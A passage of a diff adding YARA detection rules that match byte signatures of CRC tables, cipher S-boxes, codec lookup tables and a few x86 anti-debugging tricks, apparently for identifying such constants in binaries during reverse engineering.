+	$a0
+}
+
+	
+rule anti_debug__SEH_handler_trick__alternate_way___8_byt_24_
+{
+strings:
+	$a0 = { 894424fc268b9900010000538b04248b1826898100010000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_poly_0xd3__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00d375a6ea399f4c07d472a1ed3e984b0edd7ba8e437914209da7cafe33096451ccf69baf62583501bc86ebdf122845712c167b4f82b8d5e15c660b3ff2c8a5938eb4d9ed201a7743fec4a99d506a07336e54390dc0fa97a31e24497db08ae7d24f75182ce1dbb6823f05685c91abc6f2af95f8cc013b5662dfe588bc714b26170a305d69a49ef3c77a402d19d4ee83b7ead0bd89447e13279aa0cdf9340e6356cbf19ca8655f3206bb81ecd8152f42762b117c4885bfd2e65b610c38f5cfa29489b3deea271d7044f9c3ae9a576d003469533e0ac7fd90a419234e7ab78de0d548721f2be6dcb18538026f5b96acc1f5a892ffcb063c5165d8e28fbb764c211 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_synth__flt32___32_big_420_
+{
+strings:
+	$a0 = { 3f1a1e003f1b3c003f1c5a003f1d7a003f1e9e003f1fc4003f20ea003f2214003f2340003f246c003f259c003f26ce003f2802003f293a003f2a72003f2bac003f2cea003f2e2a003f2f6c003f30b0003f31f6003f333e003f348a003f35d8003f3728003f387a003f39d0003f3b26003f3c80003f3ddc003f3f3c003f409c003f4200003f4368003f44d0003f463c003f47aa003f491c003f4a8e003f4c04003f4d7e003f4efa003f5078003f51fa003f537e003f5504003f568e003f581a003f59aa003f5b3c003f5cd0003f5e68003f6004003f61a2003f6342003f64e6003f668e003f6838003f69e4003f6b94003f6d48003f6efe003f70b8003f7274003f7434003f75f8003f77be003f7988003f7b56003f7d26003f7eae003f7fa2003f7ffe003f7fc6003f7efa003f7d98003f7ba0003f7918003f75fc003f7250003f6e18003f6954003f6408003f5e38003f57e4003f5112003f49c8003f4206003f39d4003f3134003f282c003f1ec4003f14fe003f0ae0003f0072003eeb70003ed574003ebefc003ea814003e90c8003e7258003e4288003e1248003dc370003d43a000 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthExtraBits__32_big_116_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000000000000000000010000000100000001000000010000000200000002000000020000000200000003000000030000000300000003000000040000000400000004000000040000000500000005000000050000000500000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_toast_alaw_s2a__8_byt_4096_
+{
+strings:
+	$a0 = { aa2aea6a8a0aca4aba3afa7a9a1ada5aa222e2628202c242b232f2729212d252ae2e2eeeee6e6e8e8e0e0ecece4e4ebebe3e3efefe7e7e9e9e1e1edede5e5ea6a626262626e6e6e6e6666666668686868606060606c6c6c6c646464646b6b6b6b636363636f6f6f6f6767676769696969616161616d6d6d6d656565656a8a8a8a82828282828282828e8e8e8e8e8e8e8e8686868686868686888888888888888880808080808080808c8c8c8c8c8c8c8c84848484848484848b8b8b8b8b8b8b8b83838383838383838f8f8f8f8f8f8f8f8787878787878787898989898989898981818181818181818d8d8d8d8d8d8d8d85858585858585858a0a0a0a0a0a0a0a020202020202020202020202020202020e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0606060606060606060606060606060608080808080808080808080808080808000000000000000000000000000000000c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c040404040404040404040404040404040b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b030303030303030303030303030303030f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0707070707070707070707070707070709090909090909090909090909090909010101010101010101010101010101010d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d050505050505050505050505050505050acacacacacacacacacacacacacacacac2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2cecececececececececececececececececececececececececececececececec6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4cbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbc3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3cfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfc7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1cdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdc5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5ca4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464646464648484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848484848404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404040404c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4f4747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474749494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949494949414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d45454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545455555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515151515159595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959595959575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575757575f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f5f535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535353535b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505050505058585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e5e525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a55d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d9d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7d7dfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfdfd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbd4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4dcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcd0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d8d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6d6dedededededededededededededededededededededededededededededededed2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2dadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadad5151515151515151515151515151515151515151515151515151515151515151d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1111111111111111111111111111111119191919191919191919191919191919171717171717171717171717171717171f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f131313131313131313131313131313131b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b141414141414141414141414141414141c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1010101010101010101010101010101018181818181818181818181818181818161616161616161616161616161616161e1e1e1e1e1e1e1e1e1e1e1e1e1e1e1e121212121212121212121212121212121a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a159595959595959595959595959595959d9d9d9d9d9d9d9d9191919191919191999999999999999997979797979797979f9f9f9f9f9f9f9f93939393939393939b9b9b9b9b9b9b9b94949494949494949c9c9c9c9c9c9c9c9090909090909090989898989898989896969696969696969e9e9e9e9e9e9e9e92929292929292929a9a9a9a9a9a9a9a95757575757575757d7d7d7d7171717179797979777777777f7f7f7f737373737b7b7b7b747474747c7c7c7c7070707078787878767676767e7e7e7e727272727a7a7a7a75f5f5f5fdfdf1f1f9f9f7f7fffff3f3fbfbf4f4fcfcf0f0f8f8f6f6fefef2f2fafaf5353d3139373f333b343c3038363e323a35bdb1b9b7bfb3bbb4bcb0b8b6beb2bab }
+
+condition:
+	$a0
+}
+
+	
+rule ASCII_to_BIN_table__32_big_512_
+{
+strings:
+	$a0 = { 000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000e0000000f0000000ff000000ff000000f1000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000e0000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff0000003e000000ff000000f2000000ff0000003f0000003400000035000000360000003700000038000000390000003a0000003b0000003c0000003d000000ff000000ff000000ff00000000000000ff000000ff000000ff000000000000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f00000010000000110000001200000013000000140000001500000016000000170000001800000019000000ff000000ff000000ff000000ff000000ff000000ff0000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f00000030000000310000003200000033000000ff000000ff000000ff000000ff000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_1__32_big_1024_
+{
+strings:
+	$a0 = { 074a1d0952a10e5a9275a3f84b82506c37df7e1b4c78b3c5cefab1daf472267eb63045f6d66a1fc0400298e327e60c9487d2f1b8df9e56cc45cd18031d35e098cce7c73603483bf11f7307d7c6e8f948e613c1113955c6ff1170ed7c8e95da4199c31bf4a4da80217b5f94fbdd0da51f6562aa77556bcb23db1bacc6798040b9bfe5378f731d55e6daa5bfee389bbc601b33fba49c56720436c26c6877ee9d698aeb3e882d50b5ce9579e79042b13cfc33fbd32bee0503a7b586282415e41eadc8412ef79d4412752fcec5825ff483b78f3931df2e5d2a7b49467bf90653dea92684ce357e655e5cf12771d8bb15cc67ab097ca1983dcf5210ddf02621267f572c58f6b4310432650bab8c01d5492099acaae619944ce54af2d13d39add3fc32cda08a40e2b0d4519efe08aeb9d50fd2ea5cd7fdc9a749dd13ea2253832debaa24be640fe03e926a29e01cde8bf59f180f9d00b6e1238b461e7d8e3493619adb76b32f9fbd972cece31fa976a68fbb10fb3ba49d8587c41da5add1d0f3cf84bfd4e11150d9ffa6bcc3f6018caef1057274a64b2fe7dc95592aae35d55b6f587fa9e353feca4fb67404ba24a8e5c6875fdcbc62666bc5c03f661eef02ed740bab058e34e4b7e946cf8869812572ec48edb11073a3a13485eba2a2429cfa40754750b767135418c37d96192da5170bb04b518a021eb0ac13d10963fa2a4a6e10e158472bdcf7f8d962979139ea8d856538c099704248324d7a447623cb8cbbe3646e0c6b0ed36d63b03f244c843542c9712b228dc1cb0325bbf8c0d6e9de11066ba8649327fc31f83e7dd80406f916dd61d89f79d3615144c2ebb45d312800295856890a37f05b3808123ae84486839e16914b0d83c506b43ccf3cba5e7c60f5c922deb2a05d9c2715c77ba0ef4f45360bc1017d8be45adc29a759909b412cd293d7d796b100c8ff3023a34a804ec15c91714e78b547b9e42e78f3ea4d7f078f5b346c593aa3a87a1a9bcbfe123d439963b2ef6d8eb8d460286c2fd5ca6267525601f2a2f3bc96ae0a709a8920b4146e876308b9e264bda7baafed68926037f2a2f52969e00adb43a68281140090d0bdf019c9549e203f6a731accaf4f89714e6d164d470567665f07ec2061700c2182b2a02b9c8153289722f6a97686140e41799f7788499a88e15d25cadb54d157f36f32a421c3b368e98a5a92cd0d757aa8d4c20ac27808b551c7849491e84dc75ad6697c33bebaf0ca3346125b4e59d677b330d9c8f2d0af860c1c7fd0fafe0ff72c5c8d6f4357fdec3b6ab6ad97d22adf891817178502bfe22d6db8091780b216afe85e4f9a7a1c306e6fc49bf53af7a11c81e215e768363fcd3e9357c8ef52fd553b8bab4c3c8cf495befceebdfd25b714c498d83d0d2e1a8de9f966ac0e387445435419e55e7ebec4aa90b8d9ff1a3a96 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__PEB_IsDebugged__8_byt_12_
+{
+strings:
+	$a0 = { 64a1300000000fb6400285c0 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__smith__s0__8_byt_16_
+{
+strings:
+	$a0 = { 0c0f070a0e0d0b000206030109040508 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Rose_s_TRAP__1__8_byt_46_
+{
+strings:
+	$a0 = { 668cca6631db6689d98ec3fa6726668707672666875702fb66f7f166b8004ccd21fa6726668707672666875702fb }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x42F0E1EBA9EA3693__64_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000000000009336eaa9ebe1f042266dd453d7c3e185b55b3efa3c2211c7dfec420e456633494cdaa8a7ae87c30bf981965d92a5d2cc6ab77cf47944228ebed9851c8acc66922def6fb5612d96d098b4514f5d0f87170b82bbe6b6ee77556135c712cfaa55dbf2032dbb244ba599475813411869b45ed46ef9e8f388441cef85e190ff783d667cb30b391499cd24c9e835c328bbdce35adedf6ac35a2ca13069a39eba1e0e2fa35f493751fffe6d160477cd6dddefaa85329d64863c1fe8515c648c75b45bf4c26a8e259e55abb67731b0dfa277ba71e4075a7649964a338eb0268230d268bd1d86cc2bdb3398ffa8ddf2d1e71189383beb18780cf0797ade0bc321fff17acc4d3d298814108a8ef866177228329b496b50fddbc3d36b0b01e7812fba97498592d16b865176b9c7278a557c6d54a800b4bcbfd586b5584260d2463d753d1c5ef3e4ac949edcec1c46bf926ea2fefddbd58978c7491f0d99bf3e0433305b2f172c08ee9adbbadf559953d060e798ce920a653ac90c793ed0318e22b1008947aaa2b8c818eb68b7e817e3f6e2d74aa62f84d51c4b3cab566dee6260bf45ef74e37d548a16ae0e84a1c80fb4ec922c95665b395e4579cd65248f57a7ad8a4521381c614d0461a4d17aa93a73fe5d86c0bd3a0c9957b66730ff50bbe5a3cf231271c38d0f0a24c2e23376d631f018e0f3f4e5e0db59f30103b62f216cea150205dabc178643fee3f598094cb8b9c2c1e45f9a7a52102920141df0cd2ee45064369363fbc44dbb85c6d1d6a0fab787a7d7164596101e6c46275491f8e9f69fce634802ce035f742f930ab7953da5480d82cd24a3d70ca3ec728f4e14abf8daa85001dd2241513149a04368797fab0d6bb184fb4f9502e68a41c6c0a48d7aea7a38bc539267d3019bc8fee6c959293db9d93975ffb380d658297b1f48cf74af1c0bf58c7e25dd44fdfbb739251b2778dfea70aa13f18e933e1a327e7d086660b65e2eed4be2cf8b57ae6c5810dc35b775bfabcb26369c5c944fe9a1914a6825d06d6732a7a0c1ce319d2587fc9e3bf2138ce214ca749219f27ca0f12aafcbeaf37f16621c456201128f54d7477b983d309e9344719131d6d16ed12ec6edc5af954c5fbdf0076c4474bc1d08ab39967856adda9b9dd33f93b75d984ff32ad7603f1984dcc5c07e8bdee9c6699efe84b7fcf801faa8142d5c1d0843901f68d925592acd03298270ceb8da8fb672bc8af29acb4825445623197b3b0a1eaf4e5b158b42708d99a4f2fe6ab23238c29a08c248a3f5abf470a129a953b7c1430c5550ed71395275e6fcbb0c817be72ed806872e90bc741832af6ccf60fea076cb479f4724e2334021ee74a6d4a0861b1f144884c567152df5bda36535257f9a8949da2117abecac63e031c0e7e959f75d1a0de2f62ecac1b7b3e603066ccd74327dc0e5faf65e42d8d42b040ab4eb19e62e17261b73782f0c87fcc7eb31129870738583c9bf81ae9ada6e6239fd34f5a4205240283aa7c34e89b9a1d87873adb7614a299c64e09b5dc8a1c86c2655c063329dea7de1c6f6899b760b8da3ac41f56f0f4faf2d3f771fc6e4ae5f6f8a2c213cd88c4ea8191acb95336dbeea22f1d3ed3f9dc790b1c73944d47c37d2049c07bee85e261597aaed1703bfd657fd1d91e37afbf4d96e2b7b4a911a049bdb7045b0ad38155c4846af1946d9e51e9c2856f1b551a1020f1ebc585eb05140ba4582a2629240872973680b8973b0c543c414fff037924bd0f2fe561bd6620965a9c0ac27f473cef69f2a05cc15838c137ff15c3f14803a80491bf5d4f570783512250fe8d761bfa624cfa6033691fdcc93b3527a72b3735fa559fb91934331eafe6701adb152f679c88da84650a2b4ada67440b5d8e6a83e909ee95e3916ea8bcba013621b072d18fd4aba89faf76f724a364ef0bed5e1e17cdce71b5f25a35427e21d277d3464c71108b4cc9cc426fcfa10ccc06cbd5c6fccfa652b8d4d1eda97c49f17af5cd949a12e36fc4eac9b231652c2850a8e15b020b86b6eeb7e57057b869152c96f90964d6c38b9289fd2422395d04aa0dbced1157f79a1412b8c644e41839d633a4bf778ab2a7682ca099dcfd7de0fc6e8870ef93d77e42718c5bba2038dd80509022894e92433e4f940e2555e97d5e7ff2c7163b43e3e060f6ec4388ac402241ea9570e606de9c5eeeb3db91c999081cc65ae8ff6307b603c271bd4c8ca47422de088e22263aca3dda25c8cdb8b5f2b99becfba3122b4ca69fc7ae10fd888e8783be9d7e57163098879836099851a4daaf71056732cf1ac5ab5a50d4dd6cd8e4b72363ba77f266fbb300dd0bf072a9fc24a9ee655aec17e32082bbd6b54fd5c23cfb88b81fd16bdd38dd23cfd096ff9f103410a17a084180141f451295ab83a10866767c3f353dbe0c4b3093a1ba053a4d8203fd0b24bb2549a9564ee487790455d065204e19c71b51f6ce57815e5359791ffd392bc0ed467d34a88ac4632f67614d9be46efd91786563c5e9db62a1685e0af68771fc1f775a21a3349e5fdd564658905a34c16349427e3b2dfb86f70b6a970843511849146ebc5df0bebb8b3572c56e9e1425352a76e828718aaa0dae37211b1f2034b3b1330a4eaccf9771902f737dc26509cf8f2b55d6b5aa4e5bcd03bce5db00d0e5d20797b068ef7327f31bee830645ed99ec1fcd3db7c26d56eb88640ed968f3e8f48c4f5b6a87502ad5903668042dce94ca9410c373e2890088bcf9f01d4817be97b8d2a5aea7b47cb6a4ab96c00d2ac2a9a086d02f93a5fa2de14fe341393b4432e564b6f2d6988613f91d859c7c06380cfd3b2eebb341ac4ed5d21d8519df1251d1f94836f67cd070cd807b585ce26e6fc9a }
+
+condition:
+	$a0
+}
+
+	
+rule Loki97_permutation_map__8_byt_64_
+{
+strings:
+	$a0 = { 383028201810080039312921191109013a322a221a120a023b332b231b130b033c342c241c140c043d352d251d150d053e362e261e160e063f372f271f170f07 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_s_from_var_func__flt32___32_lil_244_
+{
+strings:
+	$a0 = { 9b209abe5b2382beb7b650be2dd119be489cbfbdd87a0bbd438ae63c8335be3d73da233e02f16a3e9b209a3e8cd8bf3e6894e63e8524073f3e761b3fa83a303f6e6d453f810a5b3f450e713f88ba833fe71d8f3f79af9a3f446ea63fa358b23f486dbe3fe3aaca3f7710d73f5e9de33fa04ff03f3d27fd3f49110540a5a00b400b41124028f21840a7b31f403485264051662d40d656344043563b406f64424006814940b4ab504026e45740302a5f40aa7d664016de6d40734b75406dc57c40d925824020ef854062be89408a938d40836e9140224f95406935994042219d408412a1401809a540ff04a9402506ad405f0cb140 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x05EC76F1__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000005ec76f10bd8ede20e349b1317b1dbc4125dad351c693626198540d72f63b7882a8fc17924bb5a6a21572c9b38d26c4c3d3e1abd330a81ae36e6f75f5ec76f105b2b19e1551f82f250f3f4034976b4d44c9ac22542ae593647422fc771a4d8987448ae697a7c357a7f90438b6615035c63f975ad6dcdeebe6821984fbd8ede20b862a8d1b65633c2b3ba4533aa3f05e4afd37315a1e7e806a40b9ef792ed69a897011f599935844a9cd9f2bb855cb26c80b0c49d8e845f8e8b68297fe349b130e6a5c7c1e8915cd2ed7d2a23f4f86af4f1141c05ff208716faccf1e7cc2a06b8c9c67049c7f2eb5ac21e9dabdb9bdd7cde77ab8dd043309ed5af466f7ef1cab17b1dbc407529275370c551a2694011756cac67846298fc9767748a6651927d39547e0bc85a4a90db5fa6e62a4623a6fd43cfd00c4dfb4b1f48173dee2036a5a125dad3502bee48432e023eb237877e65326b08943c5f938739b3e5760f5512290ab964d8048dffcb0161893a18e4c9ed1d08bf1c133c240f16d052fec37f1491c6936260c8a7f973cd4b8f82d4cecf55d122b9a4df1622b7dafa5446ec1ca319e9f0d5e8e7c44efbe228380afbad78ddfe410e2cf075953ff599e3ce9db87b8198540d7096609663938ce0928a09a0458fe5d6b481d14da7843d3b56b2dbcc09b737baf8b90321ebbcef571aa56a17cda086613caeb2fa2fab5e8cdefde39562f80fe393f63b7880f3d70e71ea524ea6efbe3857e18aa344e466d5b5d28022ead76c541bd958cf08dcb4b9f9c531f92ec0dd8fdfcee914cccb05623da324fa72a6c88c83a8fc1790ad106161b49521b6b1795747bf4dcc54baa1baa58c474dfa89ab3b0b879fa0188273d6e99bf6963e9e1ae0cf902e7bdc95c20d2d406d4b4245813db34bb5a6a04e59d05157dc90865230e6775c047d6459e80b956f0efcca6ae28a3b64d61128613a67d978bf270e7d5351ff7367caec768bbc1d1eaa24521b4652a31572c9b0109ebf41091bff960cf7896702c31274072f648531c993da3425e52b3a117e383ffd08c92678481e23943eef2da0a5fc284cd30d83125fd386fe292288cab2318d26c4c094a38417914ff2e69f7b69f59a971f04ac71e85ba99d9eaaa7a905b9a2457348bbc0339fbe2c456eb018de7db5f4a88cddd530c3d8394632d60ddd21d3e1abd0ca64eb07cf889df6c1bc06e5c4507014f2b6874bf75af1baf96e6aa9fc821c58e5075c8fe0eb2a7eeedfb16deb33c79c3e9c81f33b70f70235446c1130a81ae0292d5a372cc12cc622f5b7d52719c12411ff367b1413408a1a27db991fcbad68064eedbf03a29b4e0d96005d087a76ac605beee365b798126b8303016e6f75f077ea3527720643d67c32d8c579deae344f38596b4ad42f9a44e0b489410cc278588982af5d65f45e53516f4d56bd19bc }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv10_rv_chrom_code__16_big_512_
+{
+strings:
+	$a0 = { fe7f3f003f013f023f033f043f053f063f073f083f093f0a3f0b3f0c3f0d3f0e3f0f3f103f113f123f133f143f153f163f173f183f193f1a3f1b3f1c3f1d3f1e3f1f3f203f213f223f233f243f253f263f273f283f293f2a3f2b3f2c3f2d3f2e3f2f3f303f313f323f333f343f353f363f373f383f393f3a3f3b3f3c3f3d3f3e3f3f0f800f810f820f830f840f850f860f870f880f890f8a0f8b0f8c0f8d0f8e0f8f0f900f910f920f930f940f950f960f970f980f990f9a0f9b0f9c0f9d0f9e0f9f03c003c103c203c303c403c503c603c703c803c903ca03cb03cc03cd03ce03cf00e000e100e200e300e400e500e600e7003000310032003300080009000200000003000a000b003400350036003700e800e900ea00eb00ec00ed00ee00ef03d003d103d203d303d403d503d603d703d803d903da03db03dc03dd03de03df0fa00fa10fa20fa30fa40fa50fa60fa70fa80fa90faa0fab0fac0fad0fae0faf0fb00fb10fb20fb30fb40fb50fb60fb70fb80fb90fba0fbb0fbc0fbd0fbe0fbf3f403f413f423f433f443f453f463f473f483f493f4a3f4b3f4c3f4d3f4e3f4f3f503f513f523f533f543f553f563f573f583f593f5a3f5b3f5c3f5d3f5e3f5f3f603f613f623f633f643f653f663f673f683f693f6a3f6b3f6c3f6d3f6e3f6f3f703f713f723f733f743f753f763f773f783f793f7a3f7b3f7c3f7d3f7e3f7f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_t_huff_icc__8_byt_28_
+{
+strings:
+	$a0 = { E101E202E003E304DF05E406DE07E508DD09E60ADC0BE70CDB0DDAE8 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_CIN_Audio_Video_cinaudio_delta16_table__16_lil_512_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000000000000000000000000FE893393B09B83A3BBAA62B184B72CBD62C231C7A0CBB6CF7AD3F4D627DA1BDDD4DF57E2A7E4C9E6C1E891EA3DECC8ED34EF84F0B9F1D6F2DDF3CFF4AFF57DF63BF7EAF78CF821F9AAF929FA9DFA09FB6CFBC8FB1CFC6AFCB1FCF3FC30FD69FD9CFDCCFDF8FD21FE46FE69FE88FEA6FEC1FEDAFEF1FE06FF1AFF2CFF3CFF4BFF5AFF67FF73FF7EFF88FF91FF9AFFA2FFA9FFB0FFB6FFBCFFC2FFC6FFCBFFCFFFD3FFD7FFDAFFDDFFE0FFE2FFE5FFE7FFE9FFEBFFECFFEEFFEFFFF1FFF2FFF3FFF4FFF5FFF6FFF7FFF8FFF9FFFAFFFBFFFCFFFDFFFEFFFFFF000000000100020003000400050006000700080009000A000B000C000D000E000F001100120014001500170019001B001E0020002300260029002D00310035003A003E0044004A00500057005E0066006F00780082008D009900A600B500C400D400E600FA000F0126013F015A0178019701BA01D